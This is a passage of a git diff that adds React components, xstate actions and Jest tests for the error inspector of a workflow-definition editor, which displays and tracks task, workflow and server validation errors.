from "./state/types"; +import { TaskDef } from "types/common"; +import { + AlertTitle, + Alert as MuiAlert, + Box, + Typography, + Chip, +} from "@mui/material"; +import { WarningCircle } from "@phosphor-icons/react"; + +interface ServerErrorsDisplayerProps { + serverErrors: ValidationError[]; + onCleanServerError: () => void; + onClickReference?: (data: string) => void; + tasks?: TaskDef[]; +} + +const titleForServerErrorType = (type: ErrorTypes) => { + switch (type) { + case ErrorTypes.WORKFLOW: + return "Workflow was not saved"; + case ErrorTypes.RUN_ERROR: + return "Could not run workflow"; + default: + return "Error"; + } +}; + +const DEFAULT_TASKS: TaskDef[] = []; + +export const ServerErrorsDisplayer: FunctionComponent< + ServerErrorsDisplayerProps +> = ({ + serverErrors, + tasks = DEFAULT_TASKS, + onCleanServerError, + onClickReference, +}) => { + function extractTaskIndex(input: string): number | null { + const match = input.match(/tasks\[(\d+)\]/); + return match ? parseInt(match[1], 10) : null; + } + + const handleClickValidationError = (path: string) => { + const targetTaskIndex = extractTaskIndex(path); + const taskRefName = + targetTaskIndex != null + ? tasks[targetTaskIndex]?.taskReferenceName + : null; + if (taskRefName && onClickReference) { + onClickReference(`"taskReferenceName": "${taskRefName}"`); + } + }; + + return ( + + {serverErrors?.map(({ message, type, validationErrors }) => ( + + + + {titleForServerErrorType(type)} + + + + + + + {message} + + + + {validationErrors && validationErrors.length > 0 && ( + <> + + + + Validation Errors: + + 1 ? "s" : ""}`} + size="small" + sx={{ + ml: 1, + backgroundColor: "#f44336", + color: "white", + fontSize: "0.7rem", + height: 20, + fontWeight: 500, + }} + /> + + + + {validationErrors?.map((validationError) => ( + + handleClickValidationError(validationError?.path ?? "") + } + > + + {validationError?.message} + + {validationError?.path && ( + + Path: {validationError.path} + + )} + + ))} + + + )} + + ))} + + ); +}; diff --git a/ui-next/src/pages/definition/errorInspector/TaskErrorsDisplayer.tsx b/ui-next/src/pages/definition/errorInspector/TaskErrorsDisplayer.tsx new file mode 100644 index 0000000..b560f6b --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/TaskErrorsDisplayer.tsx @@ -0,0 +1,312 @@ +import { FunctionComponent, useReducer } from "react"; +import _nth from "lodash/nth"; +import _isArray from "lodash/isArray"; +import { TaskErrors, ValidationError } from "./state/types"; +import { Box, Chip, Typography } from "@mui/material"; +import Accordion from "@mui/material/Accordion"; +import AccordionDetails from "@mui/material/AccordionDetails"; +import Collapse from "@mui/material/Collapse"; +import ListItemButton from "@mui/material/ListItemButton"; +import { AccordionErrorSummary } from "./AccordionErrorSummary"; +import { get } from "lodash"; +import { CaretRight, CaretDown, WarningCircle } from "@phosphor-icons/react"; + +const TaskSingleError: FunctionComponent = ({ + id, + hint, + message, + taskReferenceName, + onClickReference, + taskError, +}) => ( + + + + + Task reference: + + + + + + onClickReference?.(errorRefExtractor(message, taskError))} + > + + Message: + + + {message} + + + + {hint && ( + + + Hint: + + + {hint} + + + )} + +); + +const errorRefExtractor = (string: string, taskError: TaskErrors) => { + let key = _nth(string.split("'"), 1); + if (key !== undefined) { + const value = get(taskError?.task?.inputParameters, key); + if (_isArray(value)) { + return `"${key}"`; + } + if (key.includes(".")) { + key = key.substring(key.lastIndexOf(".") + 1); + } + if (value) { + return `"${key}": "${value}"`; + } + return key; + } + return ""; +}; + +interface TaskGroupedErrorsProps { + taskError: TaskErrors; + onClickReference?: (data: string) => void; + title: string; +} + +const TaskGroupedErrors: FunctionComponent = ({ + taskError, + onClickReference, + title, +}) => { + const [isExpanded, toggleExpand] = useReducer((s) => !s, false); + + function returnTaskReferenceName() { + if (title === "Unreachable tasks") { + const value = _nth(taskError?.errors, 0); + if (value !== undefined) { + return value.taskReferenceName; + } + return "unknown_task"; + } + return taskError.task.taskReferenceName; + } + + const taskName = returnTaskReferenceName(); + const errorCount = taskError.errors.length; + + return ( + + + + + {isExpanded ? ( + + ) : ( + + )} + + + + + {taskName} + + + 1 ? "s" : ""}`} + size="small" + sx={{ + backgroundColor: "#ff9800", + color: "white", + fontSize: "0.7rem", + height: 20, + fontWeight: 500, + }} + /> + + + + + + + {taskError.errors.map((tr) => ( + + + + ))} + + + + ); +}; + +interface TaskErrorsDisplayerProps { + taskErrors: TaskErrors[]; + expanded: boolean; + onToggleExpand: () => void; + title?: string; + onClickReference?: (data: string) => void; +} + +export const TaskErrorsDisplayer: FunctionComponent< + TaskErrorsDisplayerProps +> = ({ + taskErrors, + expanded, + onToggleExpand, + title = "Task Errors", + onClickReference, +}) => { + const totalErrorCount = taskErrors?.reduce( + (sum, taskError) => sum + taskError?.errors?.length, + 0, + ); + + return ( + + + + + {taskErrors.map((taskError) => ( + + ))} + + + + ); +}; diff --git a/ui-next/src/pages/definition/errorInspector/WorkflowErrorDisplayer.tsx b/ui-next/src/pages/definition/errorInspector/WorkflowErrorDisplayer.tsx new file mode 100644 index 0000000..904d570 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/WorkflowErrorDisplayer.tsx @@ -0,0 +1,180 @@ +import { FunctionComponent } from "react"; +import { ValidationError } from "./state/types"; +import { Box, Typography } from "@mui/material"; +import Accordion from "@mui/material/Accordion"; +import AccordionDetails from "@mui/material/AccordionDetails"; +import { AccordionErrorSummary } from "./AccordionErrorSummary"; +import { WarningCircle } from "@phosphor-icons/react"; + +const OUTPUT_PARAMETER_REFERENCE = "outputParameters"; + +// Helper component to color words wrapped in double asterisks +const ColoredAsteriskText: FunctionComponent<{ text: string }> = ({ text }) => { + // Regex to match **word** + const regex = /\*\*(.+?)\*\*/g; + const parts = []; + let lastIndex = 0; + let match; + let key = 0; + + while ((match = regex.exec(text)) !== null) { + if (match.index > lastIndex) { + parts.push(text.slice(lastIndex, match.index)); + } + parts.push( + + {match[1]} + , + ); + lastIndex = regex.lastIndex; + } + if (lastIndex < text.length) { + parts.push(text.slice(lastIndex)); + } + return <>{parts}; +}; + +const WorkflowSingleError: FunctionComponent = ({ + hint, + message, + onClickReference, +}) => ( + + + + + Workflow Error: + + + + onClickReference?.(OUTPUT_PARAMETER_REFERENCE)} + > + + Message: + + + + + + + {hint && ( + + + Hint: + + + {hint} + + + )} + +); + +interface WorkflowErrorsDisplayerProps { + workflowErrors: ValidationError[]; + expanded: boolean; + onToggleExpand: () => void; + title?: string; + onClickReference?: (data: string) => void; +} + +export const WorkflowErrorsDisplayer: FunctionComponent< + WorkflowErrorsDisplayerProps +> = ({ + workflowErrors, + expanded, + onToggleExpand, + title = "Workflow errors", + onClickReference, +}) => { + const totalErrorCount = workflowErrors?.length || 0; + + return ( + + + + + {workflowErrors.map((validationError) => ( + + ))} + + + + ); +}; diff --git a/ui-next/src/pages/definition/errorInspector/state/actions.ts b/ui-next/src/pages/definition/errorInspector/state/actions.ts new file mode 100644 index 0000000..e5c1ebe --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/actions.ts @@ -0,0 +1,395 @@ +import { assign, raise, sendParent, DoneInvokeEvent, choose } from "xstate"; +import { respond } from "xstate/lib/actions"; +import _isEmpty from "lodash/isEmpty"; + +import { adjust, remove } from "utils"; +import { + ValidateWorkflowStringEvent, + ErrorInspectorMachineContext, + ErrorInspectorEventTypes, + WorkflowWithNoErrorsEvent, + WorkflowHasErrorsEvent, + ValidateSingleTaskEvent, + FlowReportedErrorEvent, + ReportServerErrorEvent, + ValidationError, + ErrorIds, + ErrorTypes, + ErrorSeverity, + CleanServerErrorsEvent, + ValidateWorkflowEvent, + ReferenceProblems, + FlowFinishedRenderingEvent, + SetWorkflowEvent, + UpdateSecretsEvent, + ToggleClickReference, + SetErrorInspectorExpandedEvent, + ToggleErrorInspectorEvent, + SetErrorInspectorCollapsedEvent, + ReportRunErrorEvent, + CollapseInspectorIfNoErrorsEvent, + TaskErrors, +} from "./types"; +import { CodeMachineEventTypes } from "pages/definition/EditorPanel/CodeEditorTab/state"; +import { + computeWorkflowStringErrors, + computeWorkflowErrors, + findTaskError, +} from "./schemaValidator"; +import { TaskDef } from "types"; +import { + filterServerErrorsNotPresentInNodes, + nodesToCrumbMap, + reverifyServerErrorsTaskChanges, + serverValidationErrorToIndexTask, +} from "./helpers"; +import { SaveWorkflowMachineEventTypes } from "pages/definition/confirmSave/state/types"; + +export const testForTaskErrors = assign< + ErrorInspectorMachineContext, + ValidateSingleTaskEvent +>(({ taskErrors }, { task }) => { + const ntaskErrors = findTaskError(task); // TODO error checker should check if taskReferenceName exists + const taskIndex = taskErrors.findIndex( + ({ task: { taskReferenceName } }) => + taskReferenceName === task?.taskReferenceName, + ); + if (_isEmpty(ntaskErrors)) { + // no errors. remove entry if exists + return { + taskErrors: + taskIndex === -1 ? taskErrors : remove(taskIndex, 1, taskErrors), + }; + } + // Errors. report the new findings + return { + taskErrors: + taskIndex === -1 + ? taskErrors.concat({ task, errors: ntaskErrors }) + : adjust<{ task: TaskDef; errors: ValidationError[] }>( + taskIndex, + () => ({ + task, + errors: ntaskErrors, + }), + taskErrors, + ), + }; +}); + +export const respondTaskErrors = respond< + ErrorInspectorMachineContext, + ValidateSingleTaskEvent +>(({ taskErrors }) => { + return { + type: ErrorInspectorEventTypes.SINGLE_TASK_ERRORS, + taskErrors, + }; +}); + +export const testForErrors = assign< + ErrorInspectorMachineContext, + ValidateWorkflowEvent +>((_context, { workflow }) => ({ + currentWf: workflow, + ...computeWorkflowErrors(workflow), +})); + +export const verifyChangesInServerErrors = assign< + ErrorInspectorMachineContext, + ValidateWorkflowEvent +>((context, { workflow }) => { + const { serverErrors } = context; + const updatedServerErrors = reverifyServerErrorsTaskChanges( + serverErrors, + workflow, + ); + return { + serverErrors: updatedServerErrors ?? [], + }; +}); + +export const testForErrorsInStringWorkflow = assign< + ErrorInspectorMachineContext, + ValidateWorkflowStringEvent +>(({ serverErrors }, { workflowChanges }) => { + const maybeErrors = computeWorkflowStringErrors(workflowChanges); + if (maybeErrors.currentWf != null) { + const updatedServerErrors = reverifyServerErrorsTaskChanges( + serverErrors, + maybeErrors.currentWf, + ); + return { + ...maybeErrors, + serverErrors: updatedServerErrors ?? [], + }; + } + return { + ...maybeErrors, + }; +}); + +export const notifyErrorFree = sendParent< + ErrorInspectorMachineContext, + WorkflowWithNoErrorsEvent +>(({ currentWf }) => ({ + type: ErrorInspectorEventTypes.WORKFLOW_WITH_NO_ERRORS, + workflow: currentWf, +})); + +export const workflowHasErrors = sendParent< + ErrorInspectorMachineContext, + WorkflowHasErrorsEvent +>(({ taskErrors, workflowErrors, currentWf }) => ({ + type: ErrorInspectorEventTypes.WORKFLOW_HAS_ERRORS, + errors: { + taskErrors, + workflowErrors, + }, + workflow: currentWf, +})); + +export const flowErrorToWorkflowError = assign< + ErrorInspectorMachineContext, + FlowReportedErrorEvent +>({ + workflowErrors: ({ workflowErrors }, { text }) => { + const flowError: ValidationError = { + id: ErrorIds.FLOW_ERROR, + message: text, + hint: "Assert taskReferenceName is not repeated across tasks", + type: ErrorTypes.WORKFLOW, + severity: ErrorSeverity.ERROR, + }; + return workflowErrors.concat(flowError); + }, +}); + +export const removeServerErrorsRelatedToRemovedTasks = assign< + ErrorInspectorMachineContext, + FlowFinishedRenderingEvent +>(({ serverErrors }, { nodes }) => { + const updatedServerErrors = filterServerErrorsNotPresentInNodes( + serverErrors, + nodes, + ); + return { + serverErrors: updatedServerErrors ?? [], + }; +}); + +export const persistServerError = assign< + ErrorInspectorMachineContext, + ReportServerErrorEvent +>(({ currentWf }, { text, validationErrors: incomingValidationErrors }) => { + const validationErrors = incomingValidationErrors ?? [ + { + path: "workflow", + message: text, + }, + ]; // Server error reported without validation. will be treated as a workflow error + const serverError: ValidationError = { + id: ErrorIds.FLOW_ERROR, + message: text, + hint: "Assert taskReferenceName is not repeated across tasks", + type: ErrorTypes.WORKFLOW, + severity: ErrorSeverity.ERROR, + validationErrors: + validationErrors == null + ? undefined + : serverValidationErrorToIndexTask( + validationErrors || [], + currentWf?.tasks || [], + ), + }; + + return { + serverErrors: [serverError], + }; +}); + +export const persistRunError = assign< + ErrorInspectorMachineContext, + ReportRunErrorEvent +>((_, { text }) => { + const runError: ValidationError = { + id: ErrorIds.FLOW_ERROR, + message: text, + hint: "Check run parameters", + type: ErrorTypes.RUN_ERROR, + severity: ErrorSeverity.ERROR, + }; + + return { + runWorkflowErrors: [runError], + }; +}); + +export const persistCrumbMap = assign< + ErrorInspectorMachineContext, + FlowFinishedRenderingEvent +>((_context, { nodes }) => { + return { + crumbMap: nodesToCrumbMap(nodes), + /* currentWf: workflow, */ + }; +}); + +export const persistReferenceProblems = assign< + ErrorInspectorMachineContext, + DoneInvokeEvent +>((_, event) => { + const { data } = event; + return { + lastRemovedTask: undefined, + lastTaskCrumbs: [], + workflowReferenceProblems: data.workflowReferenceProblems, + taskReferencesProblems: data.taskReferencesProblems, + unreachableTaskProblems: data.unreachableTaskProblems, + }; +}); + +export const cleanRunError = assign< + ErrorInspectorMachineContext, + CleanServerErrorsEvent +>({ + runWorkflowErrors: () => [], +}); + +export const cleanServerErrors = assign< + ErrorInspectorMachineContext, + CleanServerErrorsEvent +>({ + serverErrors: () => [], + runWorkflowErrors: () => [], +}); + +export const persistCurrentWorkflow = assign< + ErrorInspectorMachineContext, + SetWorkflowEvent +>({ + currentWf: (__, { workflow }) => workflow, +}); + +export const updateSecretEnvs = assign< + ErrorInspectorMachineContext, + UpdateSecretsEvent +>((_, event) => { + const { data } = event; + return { + secrets: data?.secrets, + envs: data?.envs, + }; +}); + +export const sendReferenceText = sendParent< + ErrorInspectorMachineContext, + ToggleClickReference +>((_, event) => { + return { + type: CodeMachineEventTypes.HIGHLIGHT_TEXT_REFERENCE, + reference: { + textReference: event.referenceText, + referenceReason: "error", + }, + }; +}); + +export const sendJumpToFirstError = sendParent< + ErrorInspectorMachineContext, + ToggleClickReference +>(() => { + return { + type: CodeMachineEventTypes.JUMP_TO_FIRST_ERROR, + }; +}); + +export const toggleErrorInspector = assign< + ErrorInspectorMachineContext, + ToggleErrorInspectorEvent +>({ + expanded: (context) => !context.expanded, +}); + +export const setErrorInspectorExpanded = assign< + ErrorInspectorMachineContext, + SetErrorInspectorExpandedEvent +>({ + expanded: () => true, +}); + +export const setErrorInspectorCollapsed = assign< + ErrorInspectorMachineContext, + SetErrorInspectorCollapsedEvent +>({ + expanded: () => false, +}); + +export const sendCancelConfirmSave = sendParent< + ErrorInspectorMachineContext, + ToggleClickReference +>(() => { + return { + type: SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT, + }; +}); + +export const raiseExpandErrorInspector = raise< + ErrorInspectorMachineContext, + any +>(() => { + return { + type: ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_EXPANDED, + }; +}); + +export const raiseCollapseErrorInspector = raise< + ErrorInspectorMachineContext, + any +>(() => { + return { + type: ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_COLLAPSED, + }; +}); + +export const raiseCollapseErrorInspectorIfNoErrors = raise< + ErrorInspectorMachineContext, + any +>(() => { + return { + type: ErrorInspectorEventTypes.COLLAPSE_INSPECTOR_IF_NO_ERRORS, + }; +}); + +export const cleanSerializationError = assign({ + workflowErrors: (context) => { + return context.workflowErrors.filter( + (error) => error.id !== ErrorIds.SERIALIZATION_ERROR, + ); + }, +}); + +export const collapseInspectorIfNoErrors = choose< + ErrorInspectorMachineContext, + CollapseInspectorIfNoErrorsEvent +>([ + { + cond: ({ + workflowReferenceProblems, + taskReferencesProblems, + unreachableTaskProblems, + }: ErrorInspectorMachineContext) => { + const taskTotalErrors = taskReferencesProblems.reduce( + (acc: number, { errors }: TaskErrors) => acc + errors.length, + 0, + ); + return ( + workflowReferenceProblems.length + + unreachableTaskProblems.length + + taskTotalErrors === + 0 + ); + }, + actions: [raiseCollapseErrorInspector], + }, +]); diff --git a/ui-next/src/pages/definition/errorInspector/state/helpers.test.ts b/ui-next/src/pages/definition/errorInspector/state/helpers.test.ts new file mode 100644 index 0000000..d4f2311 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/helpers.test.ts @@ -0,0 +1,1056 @@ +import { NodeTaskData } from "components/features/flow/nodes/mapper/types"; +import { NodeData } from "reaflow"; +import { TaskDef, TaskType } from "types"; +import { CrumbMap } from "types/Crumbs"; +import { + NodeInnerData, + filterServerErrorsNotPresentInNodes, + getVariablesForEachTasks, + jakatraPathToPropertyPath, + nodesToCrumbMap, + reverifyServerErrorsTaskChanges, + serverValidationErrorToIndexTask, +} from "./helpers"; +import { ErrorIds, ErrorSeverity, ErrorTypes } from "./types"; + +export const simpleNodeDiagram = [ + { + id: "start", + text: "start", + ports: [ + { + id: "start-south-port", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + }, + ], + data: { + task: { + name: "start", + taskReferenceName: "start", + type: "TERMINAL", + }, + crumbs: [], + selected: false, + }, + width: 80, + height: 80, + }, + { + id: "get_random_fact", + text: "get_random_fact", + ports: [ + { + id: "get_random_fact-south-port", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + }, + ], + data: { + task: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + crumbs: [ + { + parent: null, + ref: "get_random_fact", + refIdx: 0, + }, + ], + selected: false, + }, + width: 350, + height: 130, + }, + { + id: "http_lvdn9_ref", + text: "http_lvdn9_ref", + ports: [ + { + id: "http_lvdn9_ref-south-port", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + }, + ], + data: { + task: { + name: "http_lvdn9_ref", + taskReferenceName: "http_lvdn9_ref", + type: "HTTP", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/get", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + }, + crumbs: [ + { + parent: null, + ref: "get_random_fact", + refIdx: 0, + }, + { + parent: null, + ref: "http_lvdn9_ref", + refIdx: 1, + }, + ], + selected: true, + }, + width: 350, + height: 130, + }, + { + id: "end", + text: "end", + data: { + task: { + name: "end", + taskReferenceName: "end", + type: "TERMINAL", + }, + crumbs: [], + selected: false, + }, + width: 80, + height: 80, + }, +]; +const withExpandedSubWorkflow = [ + { + id: "start", + text: "start", + ports: [ + { + id: "start-south-port", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + }, + ], + data: { + task: { + name: "start", + taskReferenceName: "start", + type: "TERMINAL", + }, + crumbs: [], + selected: false, + }, + width: 80, + height: 80, + }, + { + id: "get_random_fact", + text: "get_random_fact", + ports: [ + { + id: "get_random_fact-south-port", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + }, + ], + data: { + task: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + inputParameters: { + http_request: { + uri: "https://catfact.ninja/fact", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + crumbs: [ + { + parent: null, + ref: "get_random_fact", + refIdx: 0, + }, + ], + selected: false, + }, + width: 350, + height: 130, + }, + { + id: "sub_workflow_u58mg_ref", + text: "sub_workflow_u58mg_ref", + ports: [ + { + id: "sub_workflow_u58mg_ref-south-port", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + }, + ], + data: { + task: { + name: "sub_workflow_u58mg_ref", + taskReferenceName: "sub_workflow_u58mg_ref", + inputParameters: {}, + type: "SUB_WORKFLOW", + subWorkflowParam: { + name: "image_convert_resize", + version: 1, + }, + }, + crumbs: [ + { + parent: null, + ref: "get_random_fact", + refIdx: 0, + }, + { + parent: null, + ref: "sub_workflow_u58mg_ref", + refIdx: 1, + }, + ], + selected: true, + }, + width: 350, + height: 100, + }, + { + text: "image_convert_resize", + data: { + task: { + name: "image_convert_resize", + taskReferenceName: "image_convert_resize_ref", + inputParameters: { + fileLocation: "${workflow.input.fileLocation}", + outputFormat: "${workflow.input.recipeParameters.outputFormat}", + outputWidth: "${workflow.input.recipeParameters.outputSize.width}", + outputHeight: "${workflow.input.recipeParameters.outputSize.height}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + crumbs: [ + { + parent: null, + ref: "get_random_fact", + refIdx: 0, + }, + { + parent: null, + ref: "sub_workflow_u58mg_ref", + refIdx: 1, + }, + { + parent: "sub_workflow_u58mg_ref", + ref: "image_convert_resize_ref", + refIdx: 0, + }, + ], + withinExpandedSubWorkflow: true, + selected: false, + }, + width: 350, + height: 100, + ports: [ + { + id: "image_convert_resize_ref-south-port_swt_image_convert_resize_zwn03", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + hidden: true, + }, + ], + id: "image_convert_resize_ref_swt_image_convert_resize_zwn03", + parent: "sub_workflow_u58mg_ref", + }, + { + text: "upload_toS3", + data: { + task: { + name: "upload_toS3", + taskReferenceName: "upload_toS3_ref", + inputParameters: { + fileLocation: "${image_convert_resize_ref.output.fileLocation}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + crumbs: [ + { + parent: null, + ref: "get_random_fact", + refIdx: 0, + }, + { + parent: null, + ref: "sub_workflow_u58mg_ref", + refIdx: 1, + }, + { + parent: "sub_workflow_u58mg_ref", + ref: "image_convert_resize_ref", + refIdx: 0, + }, + { + parent: "sub_workflow_u58mg_ref", + ref: "upload_toS3_ref", + refIdx: 1, + }, + ], + withinExpandedSubWorkflow: true, + selected: false, + }, + width: 350, + height: 100, + ports: [ + { + id: "upload_toS3_ref-south-port_swt_image_convert_resize_zwn03", + width: 2, + height: 2, + side: "SOUTH", + disabled: true, + hidden: true, + }, + ], + id: "upload_toS3_ref_swt_image_convert_resize_zwn03", + parent: "sub_workflow_u58mg_ref", + }, + { + id: "end", + text: "end", + data: { + task: { + name: "end", + taskReferenceName: "end", + type: "TERMINAL", + }, + crumbs: [], + selected: false, + }, + width: 80, + height: 80, + }, +]; + +describe("nodesToCrumbMap", () => { + it("Should return every existing taskReference in diagram", () => { + const result = nodesToCrumbMap( + simpleNodeDiagram as unknown as NodeData[], + ); + expect(Object.keys(result)).toEqual(["get_random_fact", "http_lvdn9_ref"]); + }); + it("Should not include subworkflow child ids if expanded subworkflow", () => { + const result = nodesToCrumbMap( + withExpandedSubWorkflow as unknown as NodeData[], + ); + expect(Object.keys(result)).toEqual([ + "get_random_fact", + "sub_workflow_u58mg_ref", + ]); + }); +}); + +const crumbMaps = { + set_variable_ref: { + task: { + name: "set_variable", + taskReferenceName: "set_variable_ref", + type: "SET_VARIABLE", + inputParameters: { + name: "Orkes", + }, + }, + crumbs: [ + { + parent: null, + ref: "set_variable_ref", + refIdx: 0, + type: "SET_VARIABLE", + }, + ], + }, + simple_ref: { + task: { + name: "simple", + taskReferenceName: "simple_ref", + type: "SIMPLE", + inputParameters: { + "Some-key-kf5rz": "${workflow.variables}", + }, + }, + crumbs: [ + { + parent: null, + ref: "set_variable_ref", + refIdx: 0, + type: "SET_VARIABLE", + }, + { + parent: null, + ref: "simple_ref", + refIdx: 1, + type: "SIMPLE", + }, + ], + }, + set_variable_ref_1: { + task: { + name: "set_variable_1", + taskReferenceName: "set_variable_ref_1", + type: "SET_VARIABLE", + inputParameters: { + year: "2024", + }, + }, + crumbs: [ + { + parent: null, + ref: "set_variable_ref", + refIdx: 0, + type: "SET_VARIABLE", + }, + { + parent: null, + ref: "simple_ref", + refIdx: 1, + type: "SIMPLE", + }, + { + parent: null, + ref: "set_variable_ref_1", + refIdx: 2, + type: "SET_VARIABLE", + }, + ], + }, + join_ref: { + task: { + name: "join", + taskReferenceName: "join_ref", + inputParameters: { + "Some-key-j8nkd": "${workflow.variables.year}", + }, + type: "JOIN", + joinOn: [], + optional: false, + asyncComplete: false, + }, + crumbs: [ + { + parent: null, + ref: "set_variable_ref", + refIdx: 0, + type: "SET_VARIABLE", + }, + { + parent: null, + ref: "simple_ref", + refIdx: 1, + type: "SIMPLE", + }, + { + parent: null, + ref: "set_variable_ref_1", + refIdx: 2, + type: "SET_VARIABLE", + }, + { + parent: null, + ref: "join_ref", + refIdx: 3, + type: "JOIN", + }, + ], + }, +}; +const variablesForTasks = { + set_variable_ref: [], + simple_ref: ["name"], + set_variable_ref_1: ["name"], + join_ref: ["name", "year"], +}; + +const crumbMapsWithoutVariables = { + query_processor_ref: { + task: { + name: "query_processor", + taskReferenceName: "query_processor_ref", + inputParameters: { + workflowNames: [], + statuses: [], + correlationIds: [], + queryType: "CONDUCTOR_API", + startTimeFrom: 60, + startTimeTo: 30, + freeText: "automation test", + }, + type: "QUERY_PROCESSOR", + }, + crumbs: [ + { + parent: null, + ref: "query_processor_ref", + refIdx: 0, + type: "QUERY_PROCESSOR", + }, + ], + }, + http_ref: { + task: { + name: "http", + taskReferenceName: "http_ref", + type: "HTTP", + inputParameters: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: "3000", + accept: "application/json", + contentType: "application/json", + }, + }, + crumbs: [ + { + parent: null, + ref: "query_processor_ref", + refIdx: 0, + type: "QUERY_PROCESSOR", + }, + { + parent: null, + ref: "http_ref", + refIdx: 1, + type: "HTTP", + }, + ], + }, + inline_ref: { + task: { + name: "inline", + taskReferenceName: "inline_ref", + type: "INLINE", + inputParameters: { + expression: "(function(){ return $.value1 + $.value2;})();", + evaluatorType: "graaljs", + value1: 1, + value2: 2, + }, + }, + crumbs: [ + { + parent: null, + ref: "query_processor_ref", + refIdx: 0, + type: "QUERY_PROCESSOR", + }, + { + parent: null, + ref: "http_ref", + refIdx: 1, + type: "HTTP", + }, + { + parent: null, + ref: "inline_ref", + refIdx: 2, + type: "INLINE", + }, + ], + }, +}; +const variablesForTaskWithoutVariables = { + query_processor_ref: [], + http_ref: [], + inline_ref: [], +}; + +describe("getVariablesForEachTasks", () => { + it("Should return each task with possible references from all taks in crumb with set variable task", () => { + const result = getVariablesForEachTasks(crumbMaps as unknown as CrumbMap); + expect(result).toEqual(variablesForTasks); + }); + it("Should return each task with possible references from all taks in crumb without set variable task", () => { + const result = getVariablesForEachTasks( + crumbMapsWithoutVariables as unknown as CrumbMap, + ); + expect(result).toEqual(variablesForTaskWithoutVariables); + }); +}); + +describe("jakatraPathToPropertyPath", () => { + it("Should return the property path from the jakatra path from a nested fork task", () => { + const result = jakatraPathToPropertyPath( + "update.workflowDefs[0].tasks[1].forkTasks[0].[0]", + ); + expect(result).toEqual("[1].forkTasks[0][0]"); + }); + it("Should return the property path from the jakatra path from a non nested task", () => { + const result = jakatraPathToPropertyPath("update.workflowDefs[0].tasks[1]"); + expect(result).toEqual("[1]"); + }); + it("Should return the property path from a task nested in a switch task decision case", () => { + const result = jakatraPathToPropertyPath( + "update.workflowDefs[0].tasks[1].decisionCases[switch_case].[0]", + ); + expect(result).toEqual("[1].decisionCases[switch_case][0]"); + }); + + it("Should return the property path from a task nested in a switch task default case", () => { + const result = jakatraPathToPropertyPath( + "update.workflowDefs[0].tasks[1].defaultCase[0]", + ); + expect(result).toEqual("[1].defaultCase[0]"); + }); +}); + +describe("serverValidationErrorToIndexMessage", () => { + // Mock TaskDef array for tests + const mockTasks = [ + { name: "task0", taskReferenceName: "task0_ref", type: "SIMPLE" } as any, + { name: "task1", taskReferenceName: "task1_ref", type: "SIMPLE" } as any, + { name: "task2", taskReferenceName: "task2_ref", type: "SIMPLE" } as any, + { name: "task3", taskReferenceName: "task3_ref", type: "SIMPLE" } as any, + ]; + + it("should map validation errors with task indices to IndexMessage objects", () => { + const errors = [ + { path: "update.workflowDefs[0].tasks[0]", message: "Name is required" }, + { path: "update.workflowDefs[0].tasks[2]", message: "Value is invalid" }, + ]; + const result = serverValidationErrorToIndexTask(errors as any, mockTasks); + expect(result).toEqual([ + { + path: "update.workflowDefs[0].tasks[0]", + message: "Name is required", + taskPath: "[0]", + task: mockTasks[0], + }, + { + path: "update.workflowDefs[0].tasks[2]", + message: "Value is invalid", + taskPath: "[2]", + task: mockTasks[2], + }, + ]); + }); + + it("should skip errors without a task index in the path", () => { + const errors = [ + { path: "update.workflowDefs[0]", message: "Name is required" }, + { path: "update.workflowDefs[0].tasks[1]", message: "Value is invalid" }, + ]; + const result = serverValidationErrorToIndexTask(errors as any, mockTasks); + expect(result).toEqual([ + { path: "update.workflowDefs[0]", message: "Name is required" }, + { + path: "update.workflowDefs[0].tasks[1]", + message: "Value is invalid", + taskPath: "[1]", + task: mockTasks[1], + }, + ]); + }); + + it("should handle missing message fields gracefully", () => { + const errors = [{ path: "update.workflowDefs[0].tasks[3]" }]; + const result = serverValidationErrorToIndexTask(errors as any, mockTasks); + expect(result).toEqual([ + { + path: "update.workflowDefs[0].tasks[3]", + taskPath: "[3]", + task: mockTasks[3], + }, + ]); + }); + + it("should return an empty array if no errors have a task index", () => { + const errors = [ + { path: "workflow.input.name", message: "Name is required" }, + { path: "workflow.input.value", message: "Value is invalid" }, + ]; + const result = serverValidationErrorToIndexTask(errors as any, mockTasks); + expect(result).toEqual([ + { path: "workflow.input.name", message: "Name is required" }, + { path: "workflow.input.value", message: "Value is invalid" }, + ]); + }); + + it("should handle paths with only the task index (e.g., 'tasks[0]')", () => { + const errors = [ + { path: "tasks[0]", message: "General error for task 0" }, + { path: "tasks[1]", message: "General error for task 